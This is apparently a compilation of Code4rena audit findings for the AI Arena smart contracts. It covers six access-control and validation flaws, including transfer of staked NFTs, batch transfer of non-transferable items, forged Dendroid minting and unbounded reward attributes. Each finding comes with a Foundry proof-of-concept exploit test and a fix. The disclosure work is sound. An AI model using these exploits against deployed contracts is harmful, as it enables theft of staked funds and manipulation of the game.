AI Arena - denzi_'s results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L338-L365 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC721/ERC721.sol#L175-L183

Vulnerability details

Players can stake NRN tokens on their Fighters through RankedBattle.sol contract. When a player stakes on a fighter, the RankedBattle::stakeNRN() calls FighterFarm::updateFighterStaking() function and passes in stakingStatus as true.

The stakingStatus is then used to verify whether a token can be transferred or not.

Players can transfer unstaked Fighters through FighterFarms.sol by either using transferFrom() and safeTransferFrom() functions. These functions contain the following require statement

require(_ableToTransfer(tokenId, to))

and the function _ableToTransfer returns a bool on the following checks

return (_isApprovedOrOwner(msg.sender, tokenId) &&
            balanceOf(to) < MAX_FIGHTERS_ALLOWED &&
            !fighterStaked[tokenId]);

The FighterFarms.sol has not over-riden the safeTransferFrom() with the data parameter as a result Players can transfer tokens which have stake on them by calling the function and passing in any data.

Impact:

Players are not allowed to transfer staked tokens to avoid Boosting of points and Loss of user funds.

The system does not intend to allow transfers of tokens with stake. The receiver can unstakeNRN() on a token and take away the stake incurring loss of funds to the owner.

In case of Boosting, The player will stake some funds on the fighter. The receiver who has a high win rate can obtain the token from the player through this function and accumulate points on this token. The receiver will then transfer the token back to the original owner. This will increase the player's chances of rewards via MergingPool.sol and as well as NRN rewards in RankedBattle.sol

Proof of Concept:

transferFrom and safeTransferFrom functions

These functions do not allow transferring because of the require statement.

safeTransferFrom with data function

This function is not overriden hence it allows the player to use this function to transfer a staked fighter to another address.

Add the following code in RankedBattle.t.sol or FighterFarm.t.sol

function testSafeTransferFromWithData() public {
        address playerOne = makeAddr("playerOne");
        address playerTwo = makeAddr("playerTwo");

        uint8 tokenZero = 0;

        _mintFromMergingPool(playerOne);
        _fundUserWith4kNeuronByTreasury(playerOne);

        vm.prank(playerOne);
        _rankedBattleContract.stakeNRN(1000 * 10 ** 18, tokenZero);
        vm.stopPrank();

        vm.prank(playerOne);
        _fighterFarmContract.safeTransferFrom(
            address(playerOne),
            address(playerTwo),
            tokenZero,
            ""
        );
        vm.stopPrank();

        assertEq(_fighterFarmContract.balanceOf(playerOne), 0);
        assertEq(_fighterFarmContract.balanceOf(playerTwo), 1);
        assertEq(_rankedBattleContract.amountStaked(0), 1_000 * 10 ** 18);

        vm.prank(playerTwo);
        _rankedBattleContract.unstakeNRN(1_000 * 10 ** 18, tokenZero);
        vm.stopPrank();

        assertEq(_rankedBattleContract.amountStaked(0), 0);
    }

Recommended Mitigation:

Override the safeTransferFrom() with data in FighterFarm.t.sol

+function safeTransferFrom(
+        address from,
+        address to,
+        uint256 tokenId,
+        bytes memory data
+    ) public override(ERC721, IERC721) {
+        require(
+            _isApprovedOrOwner(_msgSender(), tokenId),
+            "ERC721: caller is not token owner nor approved"
+        );
+        require(_ableToTransfer(tokenId, to));
+
+        _safeTransfer(from, to, tokenId, data);
+    }

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L289-L303 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC1155/ERC1155.sol#L134-L146

Vulnerability details

The GameItems.sol is used to mint in game items for players which can be purchased for NRN tokens. Each item have attributes such as

• name
• finiteSupply
• transferable
• itemsRemaining
• itemPrice
• dailyAllowance

The Deployer.s.sol creates Batteries as

gameItems.createGameItem(
            "battery",
            "https://ipfs.io/ipfs/bafybeibhi6d5l2oqv63gczy6qwprzsspn5t6d5uuvadpl2afzvgtv44h7u",
            false, // Not-FiniteSupply
            false, // Not-Transferable
            0,
            10 * 10 ** 18,
            5
        );

Batteries are non-transferable and do not have a finite supply, in future more in game items will be created and some will be set with a FiniteSupply = true and Transferable = false

safeTransferFrom() contains a require statement to check if the item which the player wishes to transfer is Transferable or Non-Transferable

require(allGameItemAttributes[tokenId].transferable);

The Player can use safeBatchTransferFrom() to transfer items. This can be used to transfer items which should not be transferable since it is not over-riden in the GameItems.sol contract to include the require statement.

Impact:

The Player can transfer items which should not be transferable. Items with non-transferable status can be transferred using the safeBatchTransferFrom() ERC1155 function.

Items which are finite in supply and non-transferable status can be transferred and hoarded on an account. Players with large number of NRN tokens can purchase these items using multiple address to bypass the dailyAllowance limit and hoard these items for themselves making it unavailable to others by draining the limited supply.

Proof of Concept:

safeTransferFrom() function

The require statement reverts for items which are set as non-transferable.

safeBatchTransferFrom() function

This function is not overriden hence can be used to transfer items which are set as non-transferable.

The GameItems.t.sol::setUp creates Batteries with the following attributes

_gameItemsContract.createGameItem(
            "Battery",
            "https://ipfs.io/ipfs/",
            true, // FiniteSupply
            false, // Not-Transferable
            10_000,
            1 * 10 ** 18,
            10
        );

Add the following lines into GameItems.t.sol,

function testTransferibilityThroughSafeBatchTransferFrom() public {
        (string memory name, , , , , ) = _gameItemsContract
            .allGameItemAttributes(0);

        assertEq(name, "Battery");
        assertEq(_gameItemsContract.remainingSupply(0), 10_000);

        address player1 = makeAddr("player1");
        address player2 = makeAddr("player2");

        _fundUserWith4kNeuronByTreasury(player1);

        vm.prank(player1);
        _gameItemsContract.mint(0, 10);
        vm.stopPrank();

        assertEq(_gameItemsContract.balanceOf(player1, 0), 10);

        uint256[] memory idofToken = new uint256[](1);
        idofToken[0] = 0;

        uint256[] memory amountOfToken = new uint256[](1);
        amountOfToken[0] = 10;

        vm.prank(player1);
        _gameItemsContract.safeBatchTransferFrom(
            player1,
            player2,
            idofToken,
            amountOfToken,
            ""
        );
        vm.stopPrank();

        assertEq(_gameItemsContract.balanceOf(player1, 0), 0);
        assertEq(_gameItemsContract.balanceOf(player2, 0), 10);
    }

Recommended Mitigation:

Override the safeBatchTransferFrom() like the safeTransferFrom() in GameItems.sol

+function safeBatchTransferFrom(
+        address from,
+        address to,
+        uint256[] memory ids,
+        uint256[] memory amounts,
+        bytes memory data
+    ) public override(ERC1155) {
+        uint256 idsLength = ids.length;
+        for (uint256 i = 0; i < idsLength; ++i) {
+            require(allGameItemAttributes[ids[i]].transferable);
+        }
+        super._safeBatchTransferFrom(from, to, ids, amounts, data);
+    }

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L233-L262 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L484-L531 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L462-L474 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/AiArenaHelper.sol#L83-L121

Vulnerability details

Users can burn their mint-passes in exchange for fighter NFTs using the function FighterFarm::redeemMintPass. Users are required to provide fighterTypes and iconsTypes as parameters when executing this function. Users can pass in these parameters to mint Icons which are a rarer subtype of Champions with certain rare attributes and Dendroids which are a rarer type of Fighter with special attributes.

The only way of obtaining Dendroids and Icons is through mint passes which are specifically created for these types.

Impact:

Allows users to mint Icons and Dendroids when redeeming mint-passes.These are rarer and not easily obtained types of Fighters. This issue creates a risk of users minting these rarer types of Fighters which have special attributes. Fighters can also be traded/purchases on secondary markets. The mentioned types will fetch a higher price on secondary markets. This will cause these rare types to be more common as players will certainly want Dendroids and Icons as their Fighters over Champions.

Proof of Concept:

redeemMintPass Function

_createNewFighter Function

_createFighterBase Function

_aiArenaHelperInstance.createPhysicalAttributes Function

Add the following helper function in FighterFarm.sol, we will use this to fetch the Attributes after redeeming the mint-pass.

function getFighterAttrs(
        uint256 tokenId
    ) public view returns (uint256[6] memory) {
        return FighterOps.getFighterAttributes(fighters[tokenId]);
    }

Add the following function in FighterFarm.t.sol

function testRedeemMintPassWithArbitraryValues() public {
        address player = makeAddr("player");

        // Creating a mint pass using the signature provided in the test
        uint8[2] memory numToMint = [1, 0];
        bytes memory signature = abi.encodePacked(
            hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c"
        );
        string[] memory _tokenURIs = new string[](1);
        _tokenURIs[
            0
        ] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

        assertEq(_mintPassContract.mintingPaused(), false);
        _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs);
        assertEq(_mintPassContract.balanceOf(_ownerAddress), 1);
        assertEq(_mintPassContract.ownerOf(1), _ownerAddress);

        // transferring the mint pass to the player

        vm.prank(_ownerAddress);
        _mintPassContract.approve(address(player), 1);
        vm.stopPrank();

        vm.prank(_ownerAddress);
        _mintPassContract.safeTransferFrom(
            address(_ownerAddress),
            address(player),
            1
        );
        vm.stopPrank();

        assertEq(_mintPassContract.balanceOf(player), 1);
        assertEq(_mintPassContract.ownerOf(1), player);

        // Setting Values which the player will pass into the function
        uint256[] memory _mintpassIdsToBurn = new uint256[](1);
        string[] memory _mintPassDNAs = new string[](1);
        uint8[] memory _fighterTypes = new uint8[](1);
        uint8[] memory _iconsTypes = new uint8[](1);
        string[] memory _neuralNetHashes = new string[](1);
        string[] memory _modelTypes = new string[](1);

        _mintpassIdsToBurn[0] = 1;
        _mintPassDNAs[0] = "dna";
        _fighterTypes[0] = 1; // Setting FighterType = 1 (Dendroid)
        _neuralNetHashes[0] = "neuralnethash";
        _modelTypes[0] = "original";
        _iconsTypes[0] = 1; // Used for Icons

        // approve the fighterfarm contract to burn the mintpass
        vm.prank(player);
        _mintPassContract.approve(address(_fighterFarmContract), 1);

        vm.prank(player);
        _fighterFarmContract.redeemMintPass(
            _mintpassIdsToBurn,
            _fighterTypes,
            _iconsTypes,
            _mintPassDNAs,
            _neuralNetHashes,
            _modelTypes
        );
        vm.stopPrank();

        // check balance to see if we successfully redeemed the mintpass for a fighter
        assertEq(_fighterFarmContract.balanceOf(player), 1);
        // check balance to see if the mintpass was burned
        assertEq(_mintPassContract.balanceOf(player), 0);

        uint256[6] memory attrsAfter = _fighterFarmContract.getFighterAttrs(0);

        console.log("Head :", attrsAfter[0]);
        console.log("Eyes :", attrsAfter[1]);
        console.log("Mouth :", attrsAfter[2]);
        console.log("Body :", attrsAfter[3]);
        console.log("Hands :", attrsAfter[4]);
        console.log("Feet :", attrsAfter[5]);
    }

Recommended Mitigation:

Use the mapping present in AAMintPass.sol to verify which type of mint-passes the User has claimed.

mapping(address => mapping(uint8 => uint8)) public passesClaimed;

Include iconTypes in this mapping in AAMintPass::claimMintPass() function. Use this mapping as a check in FighterFarm.sol::redeemMintPass()

Assessed type

ERC721

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L370-L391 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L380 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L383-L388

Vulnerability details

The function FighterFarm.sol::reRoll allows players to reroll their fighter with random traits. A player who does not like their current fighter can call this function by passing in their fighter's tokenId and fighterType (0 = Champion, 1 = Dendroid).

The function does not make sure that the given input of fighterType matches the fighter's current fighterType

Dendroids are rarer than Champions and have aesthetic benefits which will fetch a better price on a secondary market. Users can receive Dendroids only through the mintpass or having a signature from the delegatedAddress.

Impact:

Users can turn their Champions into Dendroids and receive special attributes which are reserved for Dendroids as well as added price value to their fighter. The function also makes Dendroids more common than they are supposed to be, decreasing the overall value and making them easily obtainable.

Proof of Concept:

reRoll(uint8 tokenId, uint8 fighterType) _createFighterBase(dna, fighterType) _aiArenaHelperInstance.createPhysicalAttributes()

When a user passes in fighterType = 1, the _createFighterBase uses this value to generate a newDna which is set as 1 if the fighterType is 1. The newDna is then passed into _aiArenaHelperInstance::createPhysicalAttributes as dna, which is used to calculate rarityRank for dnaToIndex which returns 1 into attributeIndex. This attributeIndex is then set to all the attributes of the fighter.

Add the following block of code in FighterFarm.sol, we will use this to obtain the Attributes in our test.

function getFighterAttrs(
        uint256 tokenId
    ) public view returns (uint256[6] memory) {
        return FighterOps.getFighterAttributes(fighters[tokenId]);
    }

Add the following block of code in FighterFarm.t.sol, we can test the difference in rerolled attrs by changing fighterType to 0.

function testRerollWithFighterType1() public {
        address player = makeAddr("player");

        uint8 tokenZero = 0;
        uint8 fighterType = 1;

        _mintFromMergingPool(player);
        _fundUserWith4kNeuronByTreasury(player);

        uint256[6] memory attrsBefore = _fighterFarmContract.getFighterAttrs(
            tokenZero
        );
        console.log("Head :", attrsBefore[0]);
        console.log("Eyes :", attrsBefore[1]);
        console.log("Mouth :", attrsBefore[2]);
        console.log("Body :", attrsBefore[3]);
        console.log("Hands :", attrsBefore[4]);
        console.log("Feet :", attrsBefore[5]);

        _neuronContract.addSpender(address(_fighterFarmContract));

        vm.prank(player);
        _fighterFarmContract.reRoll(tokenZero, fighterType);
        vm.stopPrank();

        console.log("---------------After rerolling-------------");

        uint256[6] memory attrsAfter = _fighterFarmContract.getFighterAttrs(
            tokenZero
        );

        console.log("Head :", attrsAfter[0]);
        console.log("Eyes :", attrsAfter[1]);
        console.log("Mouth :", attrsAfter[2]);
        console.log("Body :", attrsAfter[3]);
        console.log("Hands :", attrsAfter[4]);
        console.log("Feet :", attrsAfter[5]);
    }

When called with FighterType = 1, we will get the following values

[4110] FighterFarm::getFighterAttrs(0) [staticcall]
    │   ├─ [1768] FighterOps::ae456021(ce6d7b5282bd9a3661ae061feed1dbda4e52ab073b1f9285be6e155d9c38d4ec) [delegatecall]
    │   │   └─ ← 0x000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001
    │   └─ ← [1, 1, 1, 1, 1, 1]

These values are flags for a Dendroid Fighter.

Tools Used

Manual Review, Foundry

Recommended Mitigation:

Add the following if and require statement in the function.

function reRoll(uint8 tokenId, uint8 fighterType) public {
        require(msg.sender == ownerOf(tokenId));
        require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]); // can fighterType change?
        require(
            _neuronInstance.balanceOf(msg.sender) >= rerollCost,
            "Not enough NRN for reroll"
        );
+        if (fighterType == 1) {
+            require(
+                fighters[tokenId].dendroidBool == true,
+                "Invalid FighterType"
+            );
+        }
        // Rest of the Code

Assessed type

ERC721

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L139-L167

Vulnerability details

The winners picked through the MergingPool::pickWinner() are allowed to claim their rewards in the form of Fighters. The claimRewards function takes the following inputs from the user

function claimRewards(
        string[] calldata modelURIs,
        string[] calldata modelTypes,
        uint256[2][] calldata customAttributes
    )

Winners can provide in any value which are inside the bounds for element and weight stored in customAttributes[0] and customAttributes[1] respectively. The function however does not implement validation on the customAttributes given by the Player.

The elements are Fire, Water, and Electricity The weights are divided into 3 classes Striker, Scrapper, and Slugger. The range is divided in 3 parts equally from 65-95.

Impact:

The element and weight have upper and lower bounds mentioned in the docs. Winners can avoid these bounds and provide input which will claim them NFTs which can make their Fighters behave in an unexpected way. These fighters can then be used by the players to play matches.

Proof of Concept:

claimRewards function

Add the following code in MergingPool.t.sol

function testClaimRewardsWithCustomAttributes() public {
        address playerOne = makeAddr("playerOne");
        address playerTwo = makeAddr("playerTwo");

        _mintFromMergingPool(playerOne);
        _mintFromMergingPool(playerTwo);

        uint8 tokenZero = 0;
        uint8 tokenOne = 1;

        uint256[] memory _winners = new uint256[](2);
        _winners[0] = tokenZero;
        _winners[0] = tokenOne;

        string[] memory _modelURIs = new string[](2);
        _modelURIs[
            0
        ] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[
            1
        ] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

        string[] memory _modelTypes = new string[](2);
        _modelTypes[0] = "original";
        _modelTypes[1] = "original";

        uint256[2][] memory _customAttributes = new uint256[2][](2);
        _customAttributes[0][0] = uint256(5); // should not be allowed
        _customAttributes[0][1] = uint256(120); // should not be allowed
        _customAttributes[1][0] = uint256(5); // should not be allowed
        _customAttributes[1][1] = uint256(120); // should not be allowed

        _mergingPoolContract.pickWinner(_winners);

        address winner1 = _mergingPoolContract.winnerAddresses(0, 0);
        address winner2 = _mergingPoolContract.winnerAddresses(0, 1);

        console.log("Winner 1 :", winner1);
        console.log("Winner 2 :", winner2);

        vm.prank(playerTwo);
        _mergingPoolContract.claimRewards(
            _modelURIs,
            _modelTypes,
            _customAttributes
        );
        vm.stopPrank();

        vm.prank(playerOne);
        _mergingPoolContract.claimRewards(
            _modelURIs,
            _modelTypes,
            _customAttributes
        );
        vm.stopPrank();

        assertEq(_fighterFarmContract.balanceOf(playerOne), 2);
        assertEq(_fighterFarmContract.balanceOf(playerTwo), 2);
    }

The log

FighterFarm::mintFromMergingPool(playerOne: [0x391905d8Af04aaFa313Aca4505b86F3378F7651B], "", "original", [5, 120])
    │   │   ├─ [32787] AiArenaHelper::createPhysicalAttributes(64537433708813126116136000674961709052022301062076791250574591209291483138209 [6.453e76], 0, 0, false) [staticcall]
    │   │   │   └─ ← FighterPhysicalAttributes({ head: 1, eyes: 4, mouth: 2, body: 2, hands: 1, feet: 1 })
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: playerOne: [0x391905d8Af04aaFa313Aca4505b86F3378F7651B], tokenId: 3)
    │   │   ├─ [2260] FighterOps::d8d02d30(0000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000007800000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000000) [delegatecall]
    │   │   │   ├─ emit FighterCreated(id: 3, weight: 120, element: 5, generation: 0)
    │   │   │   └─ ← ()

Recommended Mitigation:

Add validation on customAttributes provided in by the player in the claimRewards function.

Assessed type

ERC721

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L270-L290 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L268-L276 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L338-L348

Vulnerability details

The system does not allow players to transfer a token which has stake to be transferred to another player. Once a token is staked on, it can only be transferred if all the stake on it is unstaked by the player through RankedBattle::unstakeNRN()

When a player calls RankedBattle::stakeNRN(), the following line of code is executed if the transfer of NRN tokens is successful from the player to RankedBattle.sol contract.

_fighterFarmInstance.updateFighterStaking(tokenId, true);

The player then plays a few matches and either accumulates points or stakeAtRisk. If the player accumulates stakeAtRisk and then calls RankedBattle::unstakeNRN() with all the remaining stake they have, the following line of code is executed.

_fighterFarmInstance.updateFighterStaking(tokenId, false);

The token becomes transferable now but it still has stakeAtRisk. Players can gain back their lost stake by winning games which will increase amountStaked[tokenId].

Since the player has already unstaked and set FighterStaked = false, they are able to transfer this token with amountStaked and stakeAtRisk to another player.

Impact:

Players can transfer tokens with amountStaked and stakeAtRisk to another player which is against the rules of the system. A token with staked amount should not be able to be transferred to another player.

The following issues arise depending on what the receiving player does with the transferred token.

• Loss of Funds for PlayerOne - If the player transferred the token after reclaiming some or all stakeAtRisk, PlayerTwo can unstake this amount after receiving the token.

• The _gameServerAddress is unable to successfully execute RankedBattle:updateBattleRecord if playerTwo wins with the transferred token - The system states that players can use their tokens in matches without stake to practice etc. Players can also use a token which has been transferred to them assuming they have been unstaked.

• The receiver of the transferred token has to have some amountLost from another token to be able to use the transferred token.

Proof of Concept:

unstakeNRN() function

updateFighterStaking() function

transferFrom() function

All the above functions are in the flow of the calls that are made for this issue to become possible.

Add the following code in RankedBattle.t.sol

function testStakeUnstakeTransfer() public {
        address playerOne = makeAddr("playerOne");
        address playerTwo = makeAddr("playerTwo");

        _mintFromMergingPool(playerOne);

        uint8 tokenZero = 0;

        _fundUserWith4kNeuronByTreasury(playerOne);

        vm.prank(playerOne);
        _rankedBattleContract.stakeNRN(1_000 * 10 ** 18, tokenZero);
        assertEq(_rankedBattleContract.amountStaked(0), 1_000 * 10 ** 18);

        console.log(
            "Current Staked in Ranked Contract for PlayerOne : ",
            _rankedBattleContract.amountStaked(tokenZero)
        );

        console.log(
            "Stake at Risk for PlayerOne : ",
            _stakeAtRiskContract.getStakeAtRisk(tokenZero)
        );

        console.log(
            "-----------PlayerOne plays 5 games and loses--------------"
        );

        for (uint256 i = 0; i < 5; i++) {
            vm.prank(_GAME_SERVER_ADDRESS);
            _rankedBattleContract.updateBattleRecord(
                tokenZero,
                50,
                2,
                1500,
                false
            );
            vm.stopPrank();
        }

        console.log(
            "Current Staked in Ranked for PlayerOne after 5 losses : ",
            _rankedBattleContract.amountStaked(tokenZero)
        );

        console.log(
            "Stake at Risk for PlayerOne after 5 losses : ",
            _stakeAtRiskContract.getStakeAtRisk(tokenZero)
        );

        console.log(
            "--------------------PlayerOne Unstakes, Wins 5 Games and Transfers the Token-------------"
        );
        vm.prank(playerOne);
        _rankedBattleContract.unstakeNRN(995 * 10 ** 18, tokenZero);
        vm.stopPrank();

        assertEq(_rankedBattleContract.amountStaked(tokenZero), 0);

        for (uint256 i = 0; i < 5; i++) {
            vm.prank(_GAME_SERVER_ADDRESS);
            _rankedBattleContract.updateBattleRecord(
                tokenZero,
                50,
                0,
                1500,
                false
            );
            vm.stopPrank();
        }

        console.log(
            "Current Staked in Ranked for PlayerOne after unstaking and winning 5 games : ",
            _rankedBattleContract.amountStaked(tokenZero)
        );

        console.log(
            "Stake at Risk for PlayerOne after unstaking and winning 5 games : ",
            _stakeAtRiskContract.getStakeAtRisk(tokenZero)
        );

        vm.prank(playerOne);
        _fighterFarmContract.safeTransferFrom(
            address(playerOne),
            address(playerTwo),
            tokenZero
        );
        vm.stopPrank();
        // further code below

Case 1: PlayerTwo unstakes PlayerOne stakes which causes loss of funds for PlayerOne.

Add the following code below the comment

//Code for Case 1: PlayerTwo Unstakes the Stake on the Token
        uint256 currentAmountStaked = _rankedBattleContract.amountStaked(
            tokenZero
        );
        vm.prank(playerTwo);
        _rankedBattleContract.unstakeNRN(currentAmountStaked, tokenZero);
        vm.stopPrank();

        assertEq(_rankedBattleContract.amountStaked(tokenZero), 0);
        console.log(
            "Balance of Player Two : ",
            _neuronContract.balanceOf(playerTwo)
        );

Case 2: Execution of function RankedBattle::updateBattleRecord() reverts on call from _gameServerAddress if PlayerTwo wins (this happens on wins only)

Add the following code with/without Case 1:

//Code for Case 2: Game Server's call to updateBattleRecord() reverts
        vm.prank(_GAME_SERVER_ADDRESS);
        _rankedBattleContract.updateBattleRecord(tokenZero, 50, 0, 1500, false);
        vm.stopPrank();

The test reverts with the following logs:

[27993] StakeAtRisk::reclaimNRN(4975000000000000 [4.975e15], 0, playerTwo: [0xDbD718E43b80f726372c27aD8Cb6f43a45739a7C])
    │   │   ├─ [23138] Neuron::transfer(RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], 4975000000000000 [4.975e15])
    │   │   │   ├─ emit Transfer(from: StakeAtRisk: [0x8d6aFed1C4d5af65ee3a8776d936B05A3eac6A00], to: RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], value: 4975000000000000 [4.975e15])
    │   │   │   └─ ← true
    │   │   └─ ← panic: arithmetic underflow or overflow (0x11)
    │   └─ ← panic: arithmetic underflow or overflow (0x11)
    └─ ← panic: arithmetic underflow or overflow (0x11)

In StakeAtRisk::reclaimNRN the following line of code causes the revert

amountLost[fighterOwner] -= nrnToReclaim;

The player does not have any amountLost on his address, hence this underflows and reverts

Case 3: The user can only use the transferred token if they have some accumulated stakeAtRisk on another token.

Add the following block of code to the test and comment case 2

_mintFromMergingPool(playerTwo);
        vm.prank(_treasuryAddress);
        _neuronContract.transfer(playerTwo, 1_000 * 10 ** 18);

        uint8 tokenOne = 1;

        vm.prank(playerTwo);
        _rankedBattleContract.stakeNRN(1_000 * 10 ** 18, tokenOne);
        vm.stopPrank();

        assertEq(
            _rankedBattleContract.amountStaked(tokenOne),
            1_000 * 10 ** 18
        );

        vm.prank(_GAME_SERVER_ADDRESS);
        _rankedBattleContract.updateBattleRecord(tokenOne, 50, 2, 1500, false);
        vm.stopPrank();

        assertEq(_stakeAtRiskContract.getStakeAtRisk(tokenOne), 1 * 10 ** 18);

        //Now PlayerTwo wins with TokenZero
        for (uint256 i = 0; i < 1; i++) {
            vm.prank(_GAME_SERVER_ADDRESS);
            _rankedBattleContract.updateBattleRecord(
                tokenZero,
                50,
                0,
                1500,
                false
            );
            vm.stopPrank();
        }

This does not cause a revert but to use the transferred token, the playerTwo must have some amountLost by using another Token.

Recommended Mitigation:

Do not allow Tokens with stakeAtRisk to be set as false on fighterStaked when calling unstakeNRN. Add the following check inside unstakeNRN

        bool success = _neuronInstance.transfer(msg.sender, amount);
        if (success) {
-           if (amountStaked[tokenId] == 0)
+           if (amountStaked[tokenId] == 0 && _stakeAtRiskInstance.getStakeAtRisk(tokenId) == 0)
            {
                _fighterFarmInstance.updateFighterStaking(tokenId, false);
            }
            emit Unstaked(msg.sender, amount);
        }

Assessed type

Token-Transfer